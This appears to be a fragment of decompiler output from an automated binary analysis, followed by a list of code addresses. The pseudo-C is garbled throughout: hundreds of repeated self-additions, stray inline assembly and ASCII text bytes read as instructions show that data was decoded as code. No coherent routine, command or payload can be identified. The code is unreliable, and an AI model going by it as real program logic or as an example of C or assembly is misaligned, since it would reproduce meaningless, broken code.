												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												asm("adc [eax], al");
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t149;
												 *_t125 =  *_t125 + _t125;
												asm("adc [eax], al");
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t149;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												if ( *_t125 < 0) goto L181;
												 *((intOrPtr*)(_t125 + 3)) =  *((intOrPtr*)(_t125 + 3)) + _t125;
												 *_t125 =  *_t125 + _t125;
												 *((intOrPtr*)(_t125 + 0x72c0000)) =  *((intOrPtr*)(_t125 + 0x72c0000)) + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *((intOrPtr*)(_t125 + 0x1dc0000)) =  *((intOrPtr*)(_t125 + 0x1dc0000)) + _t149;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												_t250 =  *_t125;
												if(_t250 == 0) {
													L187:
													 *_t125 =  *_t125 + _t125;
													 *_t125 =  *_t125 + _t125;
													 *_t125 =  *_t125 + _t125;
													 *_t125 =  *_t125 + _t125;
													 *_t125 =  *_t125 + _t125;
													 *_t125 =  *_t125 + _t125;
													_t126 = _t125 + 1;
													 *_t126 =  *_t126 + _t149;
													_t125 = _t126 + 1;
													asm("bound esi, [cs:ebx+0x73]");
													L188:
													asm("bound esi, [ebx+0x73]");
													 *_t125 =  *_t125 + _t125;
													 *_t125 =  *_t125 + _t125;
													_push(_t156);
													 *_t125 =  *_t125 + _t125;
													 *_t125 =  *_t125 + _t125;
													asm("pushad");
													 *_t125 =  *_t125 + _t125;
													 *_t125 =  *_t125 + _t125;
													 *_t125 =  *_t125 + _t125;
													 *_t125 =  *_t125 + _t125;
													L189:
													 *_t125 =  *_t125 + _t125;
													 *_t125 =  *_t125 + _t125;
													 *_t125 =  *_t125 + _t125;
													 *_t125 =  *_t125 + _t125;
													 *_t125 =  *_t125 + _t125;
													 *_t125 =  *_t125 + _t125;
													 *_t125 =  *_t125 + _t125;
													 *_t125 =  *_t125 + 0x40;
													 *_t152 =  *_t152 >> 0x65;
													asm("popad");
													if( *_t152 == 0) {
														L194:
														 *_t125 =  *_t125 + _t125;
														 *_t125 =  *_t125 + _t125;
														 *_t125 =  *_t125 + _t125;
														 *_t125 =  *_t125 + _t125;
														 *_t125 =  *_t125 + _t125;
														 *_t125 =  *_t125 + _t125;
														 *_t125 =  *_t125 + _t125;
														 *_t149 =  *_t149 ^ _t125;
														 *_t125 =  *_t125 + _t125;
														 *_t125 =  *_t125 + _t125;
														 *_t125 =  *_t125 + _t125;
														L192:
														 *_t149 =  *_t149 + _t149;
														 *_t125 =  *_t125 + _t125;
														L193:
														 *_t125 =  *_t125 + _t125;
														 *_t125 =  *_t125 + _t125;
														 *_t125 =  *_t125 + _t125;
														 *_t125 =  *_t125 + _t125;
														 *_t125 =  *_t125 + _t125;
														 *_t125 =  *_t125 + _t125;
														 *_t125 =  *_t125 + _t125;
														 *(_t125 + 0x2e) =  *(_t125 + 0x2e) ^ _t125;
														_pop(es);
														 *_t125 =  *_t125 + _t125;
														 *((intOrPtr*)(_t125 + 0x8000000)) =  *((intOrPtr*)(_t125 + 0x8000000)) + _t125;
														 *_t125 =  *_t125 + _t125;
														 *_t152 =  *_t152 + _t149;
														 *_t125 =  *_t125 + _t125;
														 *_t125 =  *_t125 + _t125;
														 *_t125 =  *_t125 + _t125;
														 *_t125 =  *_t125 + _t125;
														 *_t125 =  *_t125 + _t125;
														 *_t125 =  *_t125 + _t125;
														 *_t125 =  *_t125 + _t125;
														_t127 = _t125 + 1;
														 *_t127 =  *_t127 + _t149;
														 *_t152 =  *_t152 >> 0x72;
														asm("gs insb");
														asm("outsd");
														asm("arpl [eax], ax");
														_t125 = _t127 + _t133;
														 *_t125 =  *_t125 + _t125;
														 *_t125 =  *_t125 + _t125;
														 *_t125 =  *_t125 + _t125;
														 *_t149 =  *_t149 + _t125;
														 *_t125 =  *_t125 + _t125;
														 *_t152 = _t133 +  *_t152;
														 *_t125 =  *_t125 + _t125;
														goto L194;
													}
													 *_t125 =  *_t125 + _t125;
													asm("pushad");
													_t128 = _t125 +  *_t125;
													 *_t128 =  *_t128 + _t128;
													if ( *_t128 < 0) goto L191;
													 *_t128 =  *_t128 + _t128;
													_t125 = _t128;
													 *_t125 =  *_t125 + _t125;
													goto L192;
												}
												if(_t250 < 0) {
													goto L188;
												}
												 *_t125 =  *_t125 + _t125;
												 *_t152 =  *_t152 + _t140;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t149;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t140;
												 *_t125 =  *_t125 + _t125;
												 *((intOrPtr*)(_t125 + _t125)) =  *((intOrPtr*)(_t125 + _t125)) + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												_push(_t125);
												asm("pushad");
												asm("popad");
												if( *_t125 == 0) {
													goto L189;
												}
												 *_t125 =  *_t125 + _t125;
												 *((intOrPtr*)(_t125 + _t125)) =  *((intOrPtr*)(_t125 + _t125)) + _t149;
												 *_t125 =  *_t125 + _t125;
												_t129 = _t125 + 1;
												 *_t129 =  *_t129 + _t129;
												 *_t149 =  *_t149 + _t129;
												 *_t129 =  *_t129 + _t129;
												 *((intOrPtr*)(_t129 + _t129)) =  *((intOrPtr*)(_t129 + _t129)) + _t140;
												 *_t129 =  *_t129 + _t129;
												 *_t129 =  *_t129 + _t129;
												 *_t129 =  *_t129 + _t129;
												 *_t129 =  *_t129 + _t129;
												 *_t129 =  *_t129 + _t129;
												 *_t129 =  *_t129 + _t129;
												 *_t129 =  *_t129 + _t129;
												_t125 = 0;
												if(0 < 0) {
													goto L193;
												}
												asm("popad");
												if(0 == 0) {
													goto L193;
												}
												 *((intOrPtr*)(0)) =  *((intOrPtr*)(0));
												 *((intOrPtr*)(0xfffffffffffffffd)) =  *((intOrPtr*)(0xfffffffffffffffd)) + 0xfffffffffffffffd;
												 *((intOrPtr*)(0xfffffffffffffffd)) =  *((intOrPtr*)(0xfffffffffffffffd)) + _t149;
												 *((intOrPtr*)(0xfffffffffffffffd)) =  *((intOrPtr*)(0xfffffffffffffffd)) + 0xfffffffffffffffd;
												_t125 = 0xfffffffffffffffd;
												 *((intOrPtr*)(0xfffffffffffffffd)) =  *((intOrPtr*)(0xfffffffffffffffd)) + 0xfffffffffffffffd;
												 *[cs:eax] =  *[cs:eax] + 0xfffffffffffffffd;
												goto L187;
											}
											if(_t234 != 0) {
												goto L179;
											}
											asm("fs outsd");
											if (_t234 > 0) goto L178;
											asm("outsb");
										}
										_t136 = _t136 + 1;
										 *_t107 =  *_t107 + _t107;
										asm("loopne 0x2");
										L142:
										 *_t107 =  *_t107 + _t107;
										_t107 =  *0x1000072;
										L143:
										_push(_t150);
										_push(_t133);
										_t136 = _t136 + 1;
										_t228 = _t136;
										_push(_t133);
										if(_t228 == 0) {
											_t155 =  *(_t153 + 0x74) * 0;
											 *_t107 =  *_t107 + _t107;
											 *_t107 =  *_t107 + _t107;
											 *0x561b1e0a =  *0x561b1e0a + _t136;
											asm("aas");
											_push(cs);
											_t142 = _t136 &  *_t150 &  *_t151;
											L168:
											_push(cs);
											asm("lock imul eax, [eax+esi*8], 0x54f00138");
											L169:
											_t107 = 0x17 +  *(_t107 + _t151 * 8) * 0x54f00138;
											asm("lock xor [edx], eax");
											L170:
											 *_t148 =  *_t148 ^ _t107;
											_t143 =  *_t107;
											 *_t107 = _t142;
											 *_t107 =  *_t107 | _t143;
											 *_t107 =  *_t107 | _t143;
											_t144 = _t143 |  *_t133;
											 *_t107 =  *_t107 | _t144;
											 *_t107 =  *_t107 | _t144;
											 *_t107 =  *_t107 | _t144;
											asm("lock inc esi");
											_t136 = (_t144 |  *_t133) +  *_t107;
											L172:
											asm("das");
											asm("outsb");
											asm("outsb");
											_t107 = _t107 - 0x16 +  *_t136;
											 *_t151 =  *_t151 ^ _t148;
											_t260 = _t260 *  *_t107;
											L173:
											 *_t107 =  *_t107 | _t136;
											 *_t107 =  *_t107 | _t136;
											L174:
											 *_t107 =  *_t107 | _t136;
											_t146 = _t136 |  *_t133;
											asm("lock cmp [edx], eax");
											L175:
											asm("lock test dword [eax], 0xa13081e");
											L176:
											_push(ds);
											 *_t133 =  *_t133 | _t148;
											_t148 = _t148 |  *_t133;
											_t136 = _t146 |  *_t146;
											 *_t107 =  *_t107 | _t148;
											_t151 = _t151 + 1;
											 *_t107 =  *_t107 | _t136;
											asm("rcr dword [ebx+0x4e], cl");
											goto L177;
										}
										if(_t228 < 0) {
											goto L169;
										}
										if(_t228 != 0) {
											goto L168;
										}
										 *_t136 =  *_t136 + _t107;
										asm("popad");
										asm("arpl [ebx+0x65], sp");
										if( *_t136 < 0) {
											goto L170;
										}
										 *_t136 =  *_t136 + _t107;
										asm("bound ebp, [ecx+0x6e]");
										 *[fs:ecx] =  *[fs:ecx] + _t107;
										_t230 =  *[fs:ecx];
										asm("arpl [edi+ebp*2+0x73], bp");
										if (_t230 >= 0) goto L171;
										L148:
										asm("outsd");
									}
									L115:
									 *_t136 =  *_t136 + _t107;
									asm("o16 arpl [edi+ebp*2+0x73], bp");
									L116:
									asm("arpl [edi+ebp*2+0x73], bp");
									L117:
									if(_t211 >= 0) {
										L137:
										_t61 =  &(_t150[0x1c]);
										 *_t61 = _t150[0x1c] + _t151;
										_t225 =  *_t61;
									}
									 *_t136 =  *_t136 + _t107;
									asm("o16 insb");
									if( *_t136 != 0) {
										goto L143;
									}
									_push(0x6f660100);
									L120:
									_t42 = _t151 + 0x6f;
									 *_t42 =  *((intOrPtr*)(_t151 + 0x6f)) + _t155;
									if( *_t42 < 0) {
										goto L142;
									}
									L121:
									asm("outsb");
									 *_t136 =  *_t136 + _t107;
									asm("o16 jo 0x75");
									_t153 =  *(_t151 + 0x74) * 0x66010066;
									L122:
									 *_t136 =  *_t136 + _t107;
									asm("o16 jb 0x68");
									L123:
									 *[gs:ecx] =  *[gs:ecx] + _t107;
								}
								L83:
								_t133 = _t133 - 1;
								if (_t133 >= 0) goto L84;
								_t29 = _t148 + 0x65;
								 *_t29 =  *(_t148 + 0x65) + _t148;
								_t200 =  *_t29;
								asm("a16 inc ebx");
								if(_t200 < 0) {
									goto L115;
								}
								asm("popad");
								if(_t200 == 0) {
									goto L116;
								}
								_t133 = _t133 - 1;
								_t201 = _t133;
								if(_t201 >= 0) {
									L108:
									if(_t207 < 0) {
										L133:
										 *_t107 =  *_t107 + _t107;
										_t148 = _t148 + _t136;
										 *_t107 =  *_t107 + _t107;
										 *((intOrPtr*)(_t148 + _t151 * 2)) =  *((intOrPtr*)(_t148 + _t151 * 2)) + _t107;
										 *_t136 =  *_t136 + _t107;
										_pop(_t150);
										_t151 =  *(_t150 + 0x61 + _t153 * 2) * 0xd50000;
										L135:
										 *_t107 =  *_t107 + _t107;
										asm("aad 0x0");
										 *_t107 =  *_t107 + _t107;
										_t223 =  *_t107;
										_t60 = _t107;
										_t107 = _t155;
										_t155 = _t60;
										if (_t223 < 0) goto L136;
										 *_t136 =  *_t136 + _t107;
										goto L137;
									}
									if (_t207 == 0) goto L110;
									L110:
									_t37 =  &(_t150[0x19]);
									 *_t37 = _t133 + _t150[0x19];
									if( *_t37 < 0) {
										goto L135;
									}
									asm("outsb");
									asm("outsd");
									 *_t136 =  *_t136 + _t107;
									L112:
									_t150[0x1a] = _t133 + _t150[0x1a];
									goto L113;
								}
								if(_t201 < 0) {
									L106:
									asm("outsd");
									asm("outsb");
									goto L108;
								}
								 *_t136 =  *_t136 + _t107;
								_push(_t148);
								asm("a16 dec edi");
								L89:
								if(_t201 < 0) {
									goto L120;
								}
								asm("outsb");
								_t133 = _t133 - 1;
								_t202 = _t133;
								if(_t202 >= 0) {
									goto L114;
								}
								if(_t202 < 0) {
									goto L112;
								}
								 *_t136 =  *_t136 + _t107;
								L93:
								_t31 = _t148 + 0x65;
								 *_t31 =  *(_t148 + 0x65) + _t148;
								_t204 =  *_t31;
								asm("a16 push ecx");
								if(_t204 != 0) {
									goto L122;
								}
								if(_t204 < 0) {
									L126:
									 *_t136 =  *_t136 + _t107;
									L127:
									_t49 = _t153 + 0x65;
									 *_t49 =  *(_t153 + 0x65) + _t153;
									_t218 =  *_t49;
									asm("insd");
									if(_t218 >= 0) {
										goto L148;
									}
									if (_t218 == 0) goto L129;
									 *((intOrPtr*)(_t148 + 0x61)) =  *((intOrPtr*)(_t148 + 0x61)) + _t151;
									asm("outsb");
									 *[fs:ecx] =  *[fs:ecx] + _t107;
									if( *[fs:ecx] >= 0) {
										L154:
										if(_t230 >= 0) {
											goto L173;
										}
										asm("popad");
										asm("insd");
										 *[gs:ecx] =  *[gs:ecx] + _t107;
										_t231 =  *[gs:ecx];
										_push(0x736e6f74);
										L156:
										asm("outsd");
										asm("outsb");
										if (_t231 >= 0) goto L157;
										_t66 = _t136 + 0x73 + _t153 * 2;
										 *_t66 =  *((intOrPtr*)(_t136 + 0x73 + _t153 * 2)) + _t153;
										if( *_t66 == 0) {
											goto L175;
										}
										asm("outsb");
										 *_t136 =  *_t136 + _t107;
										if( *_t136 < 0) {
											goto L176;
										}
										asm("arpl [esi], si");
										_t133[0x19] = _t133[0x19] + _t151;
										asm("outsb");
										 *[fs:ecx] =  *[fs:ecx] + _t107;
										_t234 =  *[fs:ecx];
										goto L160;
									}
									asm("popad");
									asm("outsb");
									 *[fs:ecx] =  *[fs:ecx] + _t107;
									_t220 =  *[fs:ecx];
									if(_t220 >= 0) {
										goto L156;
									}
									if(_t220 < 0) {
										if(_t230 == 0) {
											goto L172;
										}
										asm("outsd");
										if(_t230 >= 0) {
											goto L174;
										}
										asm("bound edi, [ecx+0x6e]");
										goto L154;
									}
									asm("popad");
									if (_t220 == 0) goto L134;
									goto L133;
								}
								_push(_t151);
								asm("popad");
								asm("insb");
								L96:
								if(_t204 != 0) {
									 *((intOrPtr*)(_t153 + 0x61)) =  *((intOrPtr*)(_t153 + 0x61)) + _t153;
									asm("insb");
									asm("insb");
									asm("outsd");
									asm("arpl [eax], ax");
									 *(_t153 + 0x65) =  *(_t153 + 0x65) + _t153;
									asm("insd");
									asm("arpl [eax+0x79], si");
									goto L126;
								}
								L97:
								_t153 = _t153 + 1;
								_t205 = _t153;
								if(_t205 < 0) {
									goto L117;
								}
								 *_t136 =  *_t136 + _t107;
								_push(_t148);
								asm("a16 push ebx");
								L99:
								asm("a16 push ebx");
								if(_t205 == 0) {
									goto L123;
								}
								asm("popad");
								asm("insb");
								if(_t205 != 0) {
									goto L127;
								}
								_t153 = _t153 + 1;
								_t206 = _t153;
								L102:
								if(_t206 < 0) {
									goto L121;
								}
								 *_t107 =  *_t107 + _t107;
								asm("retf 0x0");
								L104:
								 *_t107 =  *_t107 + _t107;
								 *((intOrPtr*)(_t107 + 0x72)) =  *((intOrPtr*)(_t107 + 0x72)) + _t148;
								 *_t107 =  *_t107 + _t107;
								_t35 =  &(_t150[0x17]);
								 *_t35 = _t133 + _t150[0x17];
								_t207 =  *_t35;
								asm("fs insb");
								asm("insb");
								goto L106;
							}
							 *[gs:ecx] =  *[gs:ecx] + _t107;
							_push(_t133);
							if ( *[gs:ecx] == 0) goto L71;
							L56:
							_t153 = _t153 + 1;
							_t188 = _t153;
						}
						 *_t136 =  *_t136 + _t107;
						_t150 =  &(_t150[0]);
						_t178 = _t150;
						if(_t178 == 0) {
							L61:
							_t151 = _t151 + 1;
							_t190 = _t151;
						}
						asm("gs insd");
						L41:
						asm("insd");
						if(_t178 < 0) {
							L59:
							if(_t188 < 0) {
								if(_t195 < 0) {
									goto L102;
								}
								asm("insd");
								if(_t195 < 0) {
									goto L93;
								}
								 *_t136 =  *_t136 + _t107;
								_t196 =  *_t136;
								asm("insb");
								if(_t196 >= 0) {
									goto L110;
								}
								if (_t196 < 0) goto L107;
								L80:
								asm("insb");
							}
							asm("outsd");
							 *[gs:ecx] =  *[gs:ecx] + _t107;
							_push(_t133);
							if ( *[gs:ecx] == 0) goto L77;
							goto L61;
						}
						L42:
						_t153 =  *(_t153 + 0x4e) * 0x41656d61;
						 *_t136 =  *_t136 + _t107;
						_t150 =  &(_t150[0]);
						_t179 = _t150;
						if(_t179 == 0) {
							L65:
							asm("insb");
							if (_t191 < 0) goto L66;
							_t150[0x18] = _t150[0x18] + _t148;
							_t151 =  *(_t151 + 0x6f + _t107 * 2) * 0x6e695372;
							_t192 = _t151;
							L67:
							_t153 =  *(_t151 + 0x67) * 0x624f656c;
							_push(0x65);
							asm("arpl [eax+eax+0x1], si");
							L68:
							_push(_t150);
							if(_t192 < 0) {
								goto L97;
							}
							if(_t192 == 0) {
								goto L96;
							}
							_t151 = _t151 + 1;
							_t153 =  *_t153 * 0x74736c01;
							_t193 = _t153;
							asm("insb");
							if(_t193 >= 0) {
								goto L104;
							}
							if(_t193 < 0) {
								goto L99;
							}
							asm("popad");
							if(_t193 == 0) {
								goto L89;
							}
							 *_t136 =  *_t136 + _t107;
							L75:
							_t23 = _t133 + 0x74 + _t151 * 2;
							 *_t23 =  *((intOrPtr*)(_t133 + 0x74 + _t151 * 2)) + _t153;
							_t195 =  *_t23;
						}
						asm("gs insd");
						if(_t179 < 0) {
							goto L65;
						}
						asm("popad");
						if(_t179 == 0) {
							goto L68;
						}
						L45:
						_t136 = _t136 + 1;
						 *_t136 =  *_t136 + _t107;
						L46:
						_t9 =  &(_t150[0x19]);
						 *_t9 = _t150[0x19] + _t107;
						if( *_t9 == 0) {
							goto L67;
						}
						_t155 = _t133[0x1a] * 0x6e756f43;
						L48:
						_t133 =  &(_t133[0]);
						_t183 = _t133;
						asm("outsd");
						if(_t183 != 0) {
							goto L75;
						}
						if (_t183 == 0) goto L50;
						L50:
						_t150[0x1b] = _t150[0x1b] + _t107;
						L51:
						asm("insb");
						asm("outsd");
						asm("bound esp, [ecx+0x6c]");
						_t136 = _t136 + 1;
						asm("insb");
						asm("insb");
						asm("outsd");
						asm("arpl [eax], ax");
						_t150[0x1b] = _t150[0x1b] + _t107;
						L52:
						_t150 =  &(_t150[0]);
						asm("insb");
						asm("outsd");
						asm("bound esp, [ecx+0x6c]");
						goto L53;
					}
					if(_t168 == 0) {
						goto L48;
					}
					asm("insd");
					_t151 = _t151 - 1;
					asm("popad");
					L20:
					asm("insd");
					_t136 = _t136 + 1;
					 *_t136 =  *_t136 + _t107;
					_t150 =  &(_t150[0]);
					_t169 = _t150;
					if(_t169 == 0) {
						goto L42;
					}
					if(_t169 < 0) {
						goto L51;
					}
					if(_t169 <= 0) {
						goto L50;
					}
					_push(_t155);
					if(_t169 >= 0) {
						goto L52;
					}
					L24:
					_t147 = _t136 + 1;
					L25:
					_t136 = _t147 + 1;
					 *_t136 =  *_t136 + _t107;
					_t150 =  &(_t150[0]);
					_t171 = _t150;
					if(_t171 == 0) {
						goto L46;
					}
					L26:
					asm("popad");
					if(_t171 >= 0) {
						goto L56;
					}
					_t153 = _t153 + 1;
					_t172 = _t153;
					if(_t172 < 0) {
						if(_t188 < 0) {
							goto L83;
						}
						asm("outsd");
						goto L59;
					}
					L28:
					asm("outsd");
					if (_t172 < 0) goto L29;
					_t4 =  &(_t150[0x19]);
					 *_t4 = _t150[0x19] + _t107;
					if( *_t4 == 0) {
						goto L50;
					}
					asm("outsd");
					asm("arpl [ecx+0x6c], sp");
					L31:
					asm("insb");
					_push(_t155);
					_t153 =  *(_t153 + 0x65) * 0x65470100;
					L32:
					asm("insd");
					 *[gs:ecx] =  *[gs:ecx] + _t107;
					L33:
					_t150 =  &(_t150[0]);
					_t176 = _t150;
					if(_t176 == 0) {
						goto L54;
					}
					if(_t176 >= 0) {
						if(_t190 >= 0) {
							goto L80;
						}
						 *_t136 =  *_t136 + _t107;
						_t191 =  *_t136;
						_push(_t133);
						goto L65;
					}
					if(_t176 == 0) {
						goto L61;
					}
					asm("insd");
					L37:
					_t155 = _t155 + 1;
					_t151 =  *(_t148 + 0x65) * 0x726f7463;
					_t177 = _t151;
					goto L38;
				}
				asm("insd");
				_t136 = _t136 + 1;
				 *_t136 =  *_t136;
				_t133 =  &(_t133[0]);
				asm("insb");
				asm("outsd");
				if(_t133 >= 0) {
					L16:
					if (_t168 == 0) goto L38;
					goto L17;
				}
				_t107 = 0xffffffffffffffff;
				asm("popad");
				asm("outsb");
				asm("fs insb");
				 *[gs:ecx] =  *[gs:ecx];
				_t133 =  &(_t133[0]);
				asm("outsd");
				if(_t133 < 0) {
					goto L26;
				}
				_t151 = _t151 + 1;
				_t153 =  *(_t153 + 0x41) * 0x72430100;
				asm("popad");
				if(_t153 == 0) {
					goto L25;
				}
				_t151 = _t151 + 1;
				_t153 =  *(_t153 + 0x41) * 0x72430100;
				asm("popad");
				if(_t153 == 0) {
					goto L28;
				}
				_t153 = _t153 - 1;
				_t163 = _t153;
				if(_t163 != 0) {
					goto L33;
				}
				if(_t163 < 0) {
					goto L20;
				}
				 *_t136 =  *_t136;
				_t133 =  &(_t133[0]);
				_t164 = _t133;
				if(_t164 < 0) {
					goto L31;
				}
				asm("popad");
				if(_t164 == 0) {
					goto L32;
				}
				_push(0xffffffffffffffff);
				if(_t164 < 0) {
					goto L37;
				}
				asm("arpl [ebp+0x73], sp");
				if(_t164 >= 0) {
					goto L24;
				}
				 *_t136 =  *_t136;
				_t133 =  &(_t133[0]);
				_t165 = _t133;
				if(_t165 < 0) {
					goto L37;
				}
				asm("popad");
				if(_t165 == 0) {
					goto L38;
				}
				_push(_t155);
				_push(0x64616572);
				 *_t136 =  *_t136;
				_t155 = _t155 + 1;
				asm("gs insb");
				if( *_t136 == 0) {
					goto L41;
				}
				_t151 = _t151 + 1;
				_t153 =  *(_t153 + 0x41) * 0x69460100;
				asm("outsb");
				_t136 = _t136 + 1;
				if(_t136 == 0) {
					goto L45;
				}
				asm("insd");
				_t136 = _t136 + 1;
				 *_t136 =  *_t136;
				_t150 =  &(_t150[0]);
				_t168 = _t150;
				goto L16;
			}

0x1000a000
0x1000a002
0x1000a004
0x1000a007
0x1000a00a
0x1000a00d
0x1000a07e
0x1000a07e
0x1000a0c1
0x1000a0c1
0x1000a0c6
0x1000a109
0x1000a109
0x1000a10a
0x1000a10b
0x1000a10b
0x1000a10c
0x1000a10c
0x1000a173
0x1000a175
0x1000a176
0x1000a178
0x1000a17d
0x1000a17f
0x1000a181
0x1000a182
0x1000a185
0x1000a186
0x1000a187
0x1000a1ee
0x1000a1ee
0x1000a1ef
0x1000a1ef
0x1000a1ef
0x1000a1f6
0x1000a1f7
0x1000a26d
0x1000a2d5
0x1000a2d5
0x1000a33f
0x1000a33f
0x1000a343
0x1000a349
0x1000a34b
0x1000a34c
0x1000a34d
0x1000a34d
0x1000a350
0x1000a352
0x1000a354
0x1000a356
0x1000a358
0x1000a35a
0x1000a35c
0x1000a362
0x1000a364
0x1000a36a
0x1000a36b
0x1000a36c
0x1000a36e
0x1000a36f
0x1000a370
0x1000a372
0x1000a373
0x1000a374
0x1000a376
0x1000a37e
0x1000a380
0x1000a382
0x1000a389
0x1000a38b
0x1000a38d
0x1000a38f
0x1000a391
0x1000a392
0x1000a394
0x1000a396
0x1000a398
0x1000a39a
0x1000a39c
0x1000a39e
0x1000a3a0
0x1000a3a2
0x1000a3a4
0x1000a3a6
0x1000a3a8
0x1000a3aa
0x1000a3ac
0x1000a3ae
0x1000a3b0
0x1000a3b2
0x1000a3b4
0x1000a3b6
0x1000a3b8
0x1000a3ba
0x1000a3bc
0x1000a3be
0x1000a3c0
0x1000a3da
0x1000a3dc
0x1000a3df
0x1000a3e1
0x1000a3e2
0x1000a3e4
0x1000a3ea
0x1000a3ec
0x1000a3ee
0x1000a3f0
0x1000a3f2
0x1000a3f4
0x1000a3f6
0x1000a3fa
0x1000a3fc
0x1000a400
0x1000a402
0x1000a404
0x1000a407
0x1000a409
0x1000a40b
0x1000a40d
0x1000a410
0x1000a412
0x1000a414
0x1000a416
0x1000a418
0x1000a41a
0x1000a41c
0x1000a41f
0x1000a421
0x1000a423
0x1000a425
0x1000a427
0x1000a429
0x1000a42b
0x1000a42d
0x1000a433
0x1000a435
0x1000a438
0x1000a43a
0x1000a43c
0x1000a43e
0x1000a440
0x1000a442
0x1000a444
0x1000a446
0x1000a448
0x1000a44a
0x1000a44c
0x1000a44e
0x1000a450
0x1000a452
0x1000a454
0x1000a456
0x1000a458
0x1000a45b
0x1000a45d
0x1000a463
0x1000a465
0x1000a467
0x1000a469
0x1000a46b
0x1000a46d
0x1000a46f
0x1000a471
0x1000a473
0x1000a475
0x1000a477
0x1000a479
0x1000a47b
0x1000a47d
0x1000a483
0x1000a485
0x1000a487
0x1000a489
0x1000a48b
0x1000a48d
0x1000a48f
0x1000a491
0x1000a493
0x1000a495
0x1000a497
0x1000a499
0x1000a49b
0x1000a49d
0x1000a49f
0x1000a4a1
0x1000a4a3
0x1000a4a5
0x1000a4a7
0x1000a4a9
0x1000a4ab
0x1000a4ad
0x1000a4af
0x1000a4b1
0x1000a4b3
0x1000a4b5
0x1000a4b7
0x1000a4b9
0x1000a4bb
0x1000a4bd
0x1000a4bf
0x1000a4c1
0x1000a4c3
0x1000a4c5
0x1000a4c7
0x1000a4c9
0x1000a4cb
0x1000a4cd
0x1000a4cf
0x1000a4d1
0x1000a4d3
0x1000a4d3
0x1000a4d5
0x1000a53d
0x1000a53d
0x1000a53f
0x1000a541
0x1000a543
0x1000a545
0x1000a547
0x1000a549
0x1000a54a
0x1000a54c
0x1000a54d
0x1000a54e
0x1000a54e
0x1000a551
0x1000a553
0x1000a555
0x1000a556
0x1000a558
0x1000a55a
0x1000a55b
0x1000a55d
0x1000a55f
0x1000a561
0x1000a563
0x1000a563
0x1000a565
0x1000a567
0x1000a569
0x1000a56b
0x1000a56d
0x1000a56f
0x1000a571
0x1000a574
0x1000a577
0x1000a579
0x1000a5dc
0x1000a5dc
0x1000a5de
0x1000a5e0
0x1000a5e2
0x1000a5e4
0x1000a5e6
0x1000a5e8
0x1000a5eb
0x1000a5ef
0x1000a5f1
0x1000a5f3
0x1000a589
0x1000a589
0x1000a58b
0x1000a58c
0x1000a58c
0x1000a58e
0x1000a590
0x1000a592
0x1000a594
0x1000a596
0x1000a598
0x1000a59b
0x1000a5a6
0x1000a5a7
0x1000a5a9
0x1000a5af
0x1000a5b1
0x1000a5b3
0x1000a5b5
0x1000a5b7
0x1000a5b9
0x1000a5bb
0x1000a5bd
0x1000a5bf
0x1000a5c1
0x1000a5c2
0x1000a5c4
0x1000a5c7
0x1000a5c9
0x1000a5ca
0x1000a5cc
0x1000a5ce
0x1000a5d0
0x1000a5d3
0x1000a5d5
0x1000a5d7
0x1000a5d9
0x1000a5db
0x00000000
0x1000a5db
0x1000a57b
0x1000a57d
0x1000a57e
0x1000a580
0x1000a582
0x1000a584
0x1000a586
0x1000a588
0x00000000
0x1000a588
0x1000a4d8
0x00000000
0x00000000
0x1000a4da
0x1000a4dc
0x1000a4df
0x1000a4e1
0x1000a4e3
0x1000a4e5
0x1000a4e7
0x1000a4e9
0x1000a4ec
0x1000a4ee
0x1000a4f0
0x1000a4f2
0x1000a4f4
0x1000a4f6
0x1000a4f8
0x1000a4fb
0x1000a4fc
0x1000a4fd
0x1000a500
0x00000000
0x00000000
0x1000a502
0x1000a504
0x1000a508
0x1000a50a
0x1000a50b
0x1000a50d
